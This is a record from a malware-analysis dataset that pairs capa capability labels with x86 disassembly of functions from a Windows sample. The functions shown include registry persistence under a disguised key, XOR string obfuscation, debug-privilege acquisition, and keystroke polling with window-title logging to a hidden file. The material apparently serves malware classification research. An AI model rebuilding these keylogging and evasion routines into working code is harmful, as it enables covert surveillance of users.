joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4150c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x443908
push 0x4296a0
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x446824]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x440], SysReAllocString
mov dword [ebp - 0x434], 0
mov ebx, 0x208
push ebx
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.00423160
push ebx
push 0
lea ecx, [ebp - 0x42c]
push ecx
call fcn.00423160
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x438]
push edx
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x415168
mov dword [ebp - 0x434], 0xffffffff
jmp case.0x415175.5
mov eax, dword [ebp + 8]
dec eax
cmp eax, 6
ja case.0x415175.5
jmp dword [eax*4 + 0x415318]
mov dword [ebp - 0x430], ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415175.5
lea ecx, [ebp - 0x224]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x4152c4
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x438]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415175.5
lea esi, [ebp - 0x224]
cmp word [esi], 0
je 0x41523a
push ebx
push esi
push 0x104
lea eax, [ebp - 0x42c]
push eax
call fcn.0042261d
push ebx
push 0x44036c
push 0x104
lea ecx, [ebp - 0x42c]
push ecx
call fcn.0042261d
add esp, 0x20
push 0
push esi
call fcn.0042225a
add esp, 8
lea esi, [eax + 2]
jmp 0x4151f7
lea edx, [ebp - 0x42c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x4152c4
mov dword [ebp - 0x430], 4
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x43c]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415175.5
mov ecx, dword [ebp - 0x43c]
push ecx
push 0x43f9f4
jmp 0x4152ba
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
push 0
lea eax, [ebp + 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x438]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415175.5
mov edx, dword [ebp + 8]
push edx
push str._08X
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x434], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.004152fe
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 4
Function at 0x415340
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov esi, ecx
mov byte [ebp - 0x404], 0
call fcn.00423160
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0x404]
push ecx
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
lea eax, [ebp - 0x404]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4153b0
lea edx, [ebp - 0x404]
sub eax, ecx
push edx
mov edx, eax
call fcn.00416eb0
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0xc02]
push ecx
mov word [ebp - 0xc04], ax
call fcn.00423160
lea eax, [ebp - 0x404]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4153f0
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x404]
push edx
push 0
push 0
call esi
lea ecx, [ebp - 0x404]
lea edi, [ecx + 1]
jmp 0x415420
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x415420
push eax
sub ecx, edi
lea eax, [ebp - 0xc04]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
push 0
call esi
lea edx, [ebp - 0xc08]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x415491
lea eax, [ebp - 0xc04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0xc08]
add eax, eax
push eax
lea ecx, [ebp - 0xc04]
push ecx
push 1
push 0
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x415491
mov eax, dword [ebp - 0xc08]
push eax
jmp 0x415498
mov ecx, dword [ebp - 0xc08]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 4

Function at 0x4154c0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x1fe
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x260]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x260]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x415d50
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x415d93
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x415d8c
mov esi, dword [eax + 0x20]
jmp 0x415d93
test bl, bl
jns 0x415d93
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x415e60
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x415de8
mov ecx, dword [ebx]
test cl, 0x40
je 0x415de1
mov edi, dword [eax + 0x20]
jmp 0x415de8
test cl, cl
jns 0x415de8
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x415e17
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x415e17
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.00415ca0
test eax, eax
je 0x415e7e
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x415e3f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x415e2e
test dword [ebp - 0x10], 0x2000000
je 0x415e2e
or dword [ebp - 0x10], eax
jmp 0x415e39
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x415dc0
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.00415ca0
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416b30
Capabilities:
Set registry value

Disassembly:
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
mov eax, dword [esi]
push edi
push 1
push 0
push str.SlDeep
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x416b5b
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
mov edx, dword [esi]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
Function at 0x416e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40004
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
test edx, edx
jle 0x416e59
xor byte [eax + ecx], 0x12
inc ecx
cmp ecx, edx
jl 0x416e50
push esi
mov ecx, eax
push edi
mov esi, ecx
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x416e60
sub ecx, esi
lea edi, [ebp - 0x40004]
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416e72
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x40004]
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416e90
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret

Function at 0x416eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40004
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
test edx, edx
jle 0x416ed9
xor byte [eax + ecx], 0x19
inc ecx
cmp ecx, edx
jl 0x416ed0
push esi
mov ecx, eax
push edi
mov esi, ecx
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x416ee0
sub ecx, esi
lea edi, [ebp - 0x40004]
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416ef2
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x40004]
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416f10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret

Function at 0x416f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40004
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
test edx, edx
jle 0x416f59
xor byte [eax + ecx], 0x1a
inc ecx
cmp ecx, edx
jl 0x416f50
push esi
mov ecx, eax
push edi
mov esi, ecx
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x416f60
sub ecx, esi
lea edi, [ebp - 0x40004]
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416f72
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x40004]
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416f90
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x416fb0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x28
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x416fec
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x417029
xor esi, esi
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x417340
Capabilities:
Create directory
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc40
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov edi, ecx
call fcn.00421f1e
push eax
call fcn.00421705
call fcn.00421717
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
add eax, 2
push str..nls
push eax
lea eax, [ebp - 0x61c]
push str._d_s
push eax
call esi
add esp, 0x18
lea ecx, [ebp - 0x824]
push ecx
push 0x104
mov dword [ebp - 0xc40], 0xc
mov dword [ebp - 0xc38], ebx
mov dword [ebp - 0xc3c], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
call fcn.00421f1e
push eax
call fcn.00421705
call fcn.00421717
add eax, 2
push eax
lea edx, [ebp - 0x824]
push edx
lea eax, [ebp - 0x20c]
push str._s_d
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 0x18
lea ecx, [ebp - 0xc40]
push ecx
lea edx, [ebp - 0x20c]
push edx
call ebx
push str....._
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x414]
push 0x44014c
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0xc40]
push edx
lea eax, [ebp - 0x414]
push eax
call ebx
lea ecx, [ebp - 0x61c]
push ecx
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0xa2c]
push 0x441720
push eax
call esi
add esp, 0x10
lea ecx, [ebp - 0xa2c]
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileW]
call edi
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0xc34]
push 0x441720
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0xc34]
push edx
lea eax, [ebp - 0x414]
push eax
call edi
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret

Function at 0x4174b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [edi]
add eax, eax
push eax
mov eax, dword [ebp + 8]
push esi
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4174de
mov edx, dword [edi]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
ret
mov eax, dword [edi]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
ret
Function at 0x4174f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439b2b
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x21c], 0
call fcn.00423160
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
push esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x224], 0x104
mov dword [ebp - 0x228], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x224]
push edx
mov edx, dword [ebp - 0x21c]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x218]
push ecx
push 0x43fa88
lea edi, [ebp - 0x220]
mov dword [ebp - 4], 0
call fcn.0040e9c0
mov esi, dword [ebp - 0x220]
push esi
push 0x43fa88
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esi - 0x10]
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41760e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x417670
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1408
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0xc04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x417836
dec eax
test eax, eax
jle 0x4176cb
mov ecx, 0x5c
lea ecx, [ecx]
cmp word [ebp + eax*2 - 0xc04], cx
je 0x4176c1
dec eax
test eax, eax
jg 0x4176b0
jmp 0x4176cb
xor ecx, ecx
mov word [ebp + eax*2 - 0xc02], cx
push esi
push edi
push 0x3ff
lea edx, [ebp - 0x403]
push 0
push edx
mov byte [ebp - 0x404], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0xc04]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x404]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0xc04]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
jmp 0x417730
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x417730
sub eax, edx
lea ecx, [ebp - 0x404]
push ecx
mov edx, eax
call fcn.00416e30
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1402]
push eax
mov word [ebp - 0x1404], dx
call fcn.00423160
lea eax, [ebp - 0x404]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x417770
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x404]
push ecx
push 0
push 0
call esi
lea ecx, [ebp - 0x404]
lea edi, [ecx + 1]
jmp 0x4177a0
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4177a0
push eax
sub ecx, edi
lea edx, [ebp - 0x1404]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x404]
push eax
push 0
push 0
call esi
lea ecx, [ebp - 0x1408]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
pop edi
pop esi
test eax, eax
jne 0x417829
lea edx, [ebp - 0x1404]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x1408]
add eax, eax
push eax
lea eax, [ebp - 0x1404]
push eax
push 1
push 0
push str.WorkPath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x417829
mov edx, dword [ebp - 0x1408]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1408]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x418400
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x41841a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x41841a
xor eax, eax
ret
mov eax, 1
ret
Function at 0x41d500
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x44fc68
push 0
push 0
push 0x2c
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_SharedVGXVGXlong.sys
push 0x44fc68
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44fc68
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xffffffffffffffff
push eax
mov dword [0x452504], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x44fc68
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x500000
jbe 0x41d5a0
push 0x44fc68
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x452504]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebx]
xor esi, esi
push esi
push 0x45155c
push 0x43e8bc
push 0x800
push edx
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x41d5df
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45155c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push esi
push 0x451a94
push 0x43e8dc
push eax
call edx
test eax, eax
js 0x41d5cc
mov eax, dword [0x451a94]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x43e8a4
push eax
call edx
test eax, eax
js 0x41d5cc
mov eax, dword [0x451a94]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x41d5cc
mov eax, dword [0x451a94]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x41d5cc
mov eax, dword [0x451a94]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
test eax, eax
js 0x41d5cc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x14
mov dword [0x454c60], eax
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x41d69d
mov dword [0x452f74], esi
cmp ax, 1
jne 0x41d6a7
mov dword [0x452f74], 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret
Function at 0x41d6c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x452504]
push esi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 2
push 4
push 0
push 2
push 0x40000000
push 0x44fc68
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41d734
push 2
push 0
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x452504]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41d740
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
push 0
push 0x454448
call fcn.00423160
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x800
push 0x454448
push eax
mov dword [0x4539e4], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x806]
push ecx
xor esi, esi
mov word [ebp - 0x808], ax
call fcn.00423160
mov edx, dword [0x4539e4]
add esp, 0xc
cmp edx, dword [0x4534ac]
je 0x41d849
push 0x454448
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x41d83d
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
push edx
push eax
push 0x454448
lea ecx, [ebp - 0x808]
push 0x441f90
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x808]
call fcn.0041d6c0
push 0x800
push esi
push 0x454448
call fcn.00423160
add esp, 0x30
mov esi, 1
mov edx, dword [0x4539e4]
mov dword [0x4534ac], edx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041fcee
mov esp, ebp
pop ebp
ret